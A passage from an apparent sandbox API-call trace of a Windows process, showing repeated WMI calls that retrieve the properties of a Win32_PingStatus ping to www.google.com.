pType=0x2317208*=8200, plFlavor=0x231720c*=64) returned 0x0 [0126.746] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317208*=8200, plFlavor=0x231720c*=64 | out: pVal=0x59eec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e270*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f35e68, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2317208*=8200, plFlavor=0x231720c*=64) returned 0x0 [0126.746] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0126.746] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0126.746] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.746] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317578*=0, plFlavor=0x231757c*=0 | out: pVal=0x59eec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2317578*=8, plFlavor=0x231757c*=64) returned 0x0 [0126.747] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.747] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.747] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2317578*=8, plFlavor=0x231757c*=64 | out: pVal=0x59eec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2317578*=8, plFlavor=0x231757c*=64) returned 0x0 [0126.747] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.747] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.747] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eec54 | out: puCount=0x59eec54*=0x2) returned 0x0 [0126.747] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0x0, pszText=0x0 | out: puBuffLength=0x59eec50*=0xf, pszText=0x0) returned 0x0 [0126.747] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.747] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59eec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23176a0*=0, plFlavor=0x23176a4*=0 | out: pVal=0x59eec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e2a0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f35e68, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23176a0*=8200, plFlavor=0x23176a4*=64) returned 0x0 [0126.747] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59eec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23176a0*=8200, plFlavor=0x23176a4*=64 | out: pVal=0x59eec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e270*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f35e68, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23176a0*=8200, plFlavor=0x23176a4*=64) returned 0x0 [0126.822] EtwEventActivityIdControl () returned 0x0 [0126.822] EtwEventActivityIdControl () returned 0x0 [0126.822] EtwEventActivityIdControl () returned 0x0 [0126.830] EtwEventActivityIdControl () returned 0x0 [0126.831] EtwEventActivityIdControl () returned 0x0 [0126.831] EtwEventActivityIdControl () returned 0x0 [0126.878] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x4d30a0 [0126.882] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x4d3128 [0126.957] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0126.958] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee87c*=0xf, pszText=0x0) returned 0x0 [0126.958] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.958] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee880 | out: puCount=0x59ee880*=0x2) returned 0x0 [0126.958] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0x0, pszText=0x0 | out: puBuffLength=0x59ee87c*=0xf, pszText=0x0) returned 0x0 [0126.958] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.958] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee888*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee87c | out: pNames=0x59ee87c*="\x01ƀ\x04") returned 0x0 [0126.959] SafeArrayGetDim (psa=0x4f3e300) returned 0x1 [0126.959] SafeArrayGetDim (psa=0x4f3e300) returned 0x1 [0126.959] SafeArrayGetLBound (in: psa=0x4f3e300, nDim=0x1, plLbound=0x59ee714 | out: plLbound=0x59ee714) returned 0x0 [0126.959] SysStringByteLen (bstr="__GENUS") returned 0xe [0126.959] SysStringByteLen (bstr="__GENUS") returned 0xe [0126.959] SysStringByteLen (bstr="__CLASS") returned 0xe [0126.959] SysStringByteLen (bstr="__CLASS") returned 0xe [0126.960] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0126.960] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0126.960] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0126.960] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0126.960] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0126.960] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0126.960] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0126.960] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0126.960] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0126.960] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0126.960] SysStringByteLen (bstr="__SERVER") returned 0x10 [0126.960] SysStringByteLen (bstr="__SERVER") returned 0x10 [0126.960] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0126.960] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0126.960] SysStringByteLen (bstr="__PATH") returned 0xc [0126.960] SysStringByteLen (bstr="__PATH") returned 0xc [0126.961] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2324c94*=0, plFlavor=0x2324c98*=0 | out: pVal=0x59ee878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2324c94*=3, plFlavor=0x2324c98*=64) returned 0x0 [0126.961] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2324d9c*=0, plFlavor=0x2324da0*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2324d9c*=8, plFlavor=0x2324da0*=64) returned 0x0 [0126.961] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.961] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.961] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2324e30*=0, plFlavor=0x2324e34*=0 | out: pVal=0x59ee878*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2324e30*=8, plFlavor=0x2324e34*=64) returned 0x0 [0126.961] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2324ef4*=0, plFlavor=0x2324ef8*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2324ef4*=8, plFlavor=0x2324ef8*=64) returned 0x0 [0126.961] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.962] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0126.962] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2324f94*=0, plFlavor=0x2324f98*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2324f94*=8, plFlavor=0x2324f98*=64) returned 0x0 [0126.962] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0126.962] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0126.962] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23251d8*=0, plFlavor=0x23251dc*=0 | out: pVal=0x59ee878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x23251d8*=3, plFlavor=0x23251dc*=64) returned 0x0 [0126.962] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2325320*=0, plFlavor=0x2325324*=0 | out: pVal=0x59ee878*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e330*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f35e68, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2325320*=8200, plFlavor=0x2325324*=64) returned 0x0 [0126.962] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2325390*=0, plFlavor=0x2325394*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2325390*=8, plFlavor=0x2325394*=64) returned 0x0 [0126.962] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.962] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0126.963] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2325418*=0, plFlavor=0x232541c*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2325418*=8, plFlavor=0x232541c*=64) returned 0x0 [0126.963] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.963] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0126.963] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23254ec*=0, plFlavor=0x23254f0*=0 | out: pVal=0x59ee878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x23254ec*=8, plFlavor=0x23254f0*=64) returned 0x0 [0126.963] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0126.963] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0126.963] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8bc | out: puCount=0x59ee8bc*=0x2) returned 0x0 [0126.963] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8b8*=0xf, pszText=0x0) returned 0x0 [0126.963] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.963] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8bc | out: puCount=0x59ee8bc*=0x2) returned 0x0 [0126.963] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8b8*=0xf, pszText=0x0) returned 0x0 [0126.963] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.963] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x59ee8c4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee8b8 | out: pNames=0x59ee8b8*="\x01ƀ\x04") returned 0x0 [0126.963] SafeArrayGetDim (psa=0x4f3e300) returned 0x1 [0126.963] SafeArrayGetDim (psa=0x4f3e300) returned 0x1 [0126.963] SafeArrayGetLBound (in: psa=0x4f3e300, nDim=0x1, plLbound=0x59ee750 | out: plLbound=0x59ee750) returned 0x0 [0126.963] SysStringByteLen (bstr="Address") returned 0xe [0126.963] SysStringByteLen (bstr="Address") returned 0xe [0126.963] SysStringByteLen (bstr="BufferSize") returned 0x14 [0126.963] SysStringByteLen (bstr="BufferSize") returned 0x14 [0126.963] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0126.964] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0126.964] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0126.964] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0126.964] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0126.964] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0126.964] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0126.964] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0126.964] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0126.964] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0126.964] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0126.964] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0126.964] SysStringByteLen (bstr="ReplySize") returned 0x12 [0126.964] SysStringByteLen (bstr="ReplySize") returned 0x12 [0126.964] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0126.964] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0126.964] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0126.964] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0126.964] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0126.964] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0126.964] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0126.964] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0126.964] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0126.964] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0126.964] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0126.964] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0126.964] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0126.964] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0126.964] SysStringByteLen (bstr="StatusCode") returned 0x14 [0126.964] SysStringByteLen (bstr="StatusCode") returned 0x14 [0126.965] SysStringByteLen (bstr="Timeout") returned 0xe [0126.965] SysStringByteLen (bstr="Timeout") returned 0xe [0126.965] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0126.965] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0126.965] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0126.965] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0126.965] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0126.965] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0126.965] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0126.965] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0126.965] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0126.965] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0126.965] SysStringByteLen (bstr="TypeofService") returned 0x1a [0126.965] SysStringByteLen (bstr="TypeofService") returned 0x1a [0126.965] IWbemClassObject:Get (in: This=0x4f387a8, wszName="Address", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2325c48*=0, plFlavor=0x2325c4c*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2325c48*=8, plFlavor=0x2325c4c*=0) returned 0x0 [0126.965] SysStringByteLen (bstr="www.google.com") returned 0x1c [0126.965] SysStringByteLen (bstr="www.google.com") returned 0x1c [0126.965] IWbemClassObject:Get (in: This=0x4f387a8, wszName="BufferSize", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2325cd8*=0, plFlavor=0x2325cdc*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2325cd8*=19, plFlavor=0x2325cdc*=0) returned 0x0 [0126.965] IWbemClassObject:Get (in: This=0x4f387a8, wszName="NoFragmentation", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2325d48*=0, plFlavor=0x2325d4c*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2325d48*=11, plFlavor=0x2325d4c*=0) returned 0x0 [0126.966] IWbemClassObject:Get (in: This=0x4f387a8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2325f80*=0, plFlavor=0x2325f84*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2325f80*=19, plFlavor=0x2325f84*=0) returned 0x0 [0126.966] IWbemClassObject:Get (in: This=0x4f387a8, wszName="ProtocolAddress", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2325ff0*=0, plFlavor=0x2325ff4*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="172.217.18.100", varVal2=0x0), pType=0x2325ff0*=8, plFlavor=0x2325ff4*=0) returned 0x0 [0126.966] SysStringByteLen (bstr="172.217.18.100") returned 0x1c [0126.966] SysStringByteLen (bstr="172.217.18.100") returned 0x1c [0126.966] IWbemClassObject:Get (in: This=0x4f387a8, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326080*=0, plFlavor=0x2326084*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x2326080*=8, plFlavor=0x2326084*=32) returned 0x0 [0126.966] SysStringByteLen (bstr="") returned 0x0 [0126.966] SysStringByteLen (bstr="") returned 0x0 [0126.966] IWbemClassObject:Get (in: This=0x4f387a8, wszName="RecordRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23260e4*=0, plFlavor=0x23260e8*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23260e4*=19, plFlavor=0x23260e8*=0) returned 0x0 [0126.966] IWbemClassObject:Get (in: This=0x4f387a8, wszName="ReplyInconsistency", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23261e0*=0, plFlavor=0x23261e4*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23261e0*=11, plFlavor=0x23261e4*=0) returned 0x0 [0126.967] IWbemClassObject:Get (in: This=0x4f387a8, wszName="ReplySize", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326250*=0, plFlavor=0x2326254*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2326250*=19, plFlavor=0x2326254*=0) returned 0x0 [0126.967] IWbemClassObject:Get (in: This=0x4f387a8, wszName="ResolveAddressNames", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23262c0*=0, plFlavor=0x23262c4*=0 | out: pVal=0x59ee8b4*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23262c0*=11, plFlavor=0x23262c4*=0) returned 0x0 [0126.967] IWbemClassObject:Get (in: This=0x4f387a8, wszName="ResponseTime", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326330*=0, plFlavor=0x2326334*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2326330*=19, plFlavor=0x2326334*=0) returned 0x0 [0126.967] IWbemClassObject:Get (in: This=0x4f387a8, wszName="ResponseTimeToLive", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23263a0*=0, plFlavor=0x23263a4*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x71, varVal2=0x0), pType=0x23263a0*=19, plFlavor=0x23263a4*=0) returned 0x0 [0126.968] IWbemClassObject:Get (in: This=0x4f387a8, wszName="RouteRecord", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326410*=0, plFlavor=0x2326414*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326410*=8200, plFlavor=0x2326414*=32) returned 0x0 [0126.968] IWbemClassObject:Get (in: This=0x4f387a8, wszName="RouteRecordResolved", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326474*=0, plFlavor=0x2326478*=0 | out: pVal=0x59ee8b4*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2326474*=8200, plFlavor=0x2326478*=32) returned 0x0 [0126.968] IWbemClassObject:Get (in: This=0x4f387a8, wszName="SourceRoute", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23264d8*=0, plFlavor=0x23264dc*=0 | out: pVal=0x59ee8b4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x23264d8*=8, plFlavor=0x23264dc*=0) returned 0x0 [0126.968] SysStringByteLen (bstr="") returned 0x0 [0126.968] SysStringByteLen (bstr="") returned 0x0 [0126.968] IWbemClassObject:Get (in: This=0x4f387a8, wszName="SourceRouteType", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x232653c*=0, plFlavor=0x2326540*=0 | out: pVal=0x59ee8b4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x232653c*=19, plFlavor=0x2326540*=0) returned 0x0 [0126.968] IWbemClassObject:Get (in: This=0x4f387a8, wszName="StatusCode", lFlags=0, pVal=0x59ee8b4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23265ac*=0, plFlavor=0x23265b0*=0 | out: pVal=0x59ee8b4*(varType=0x3, 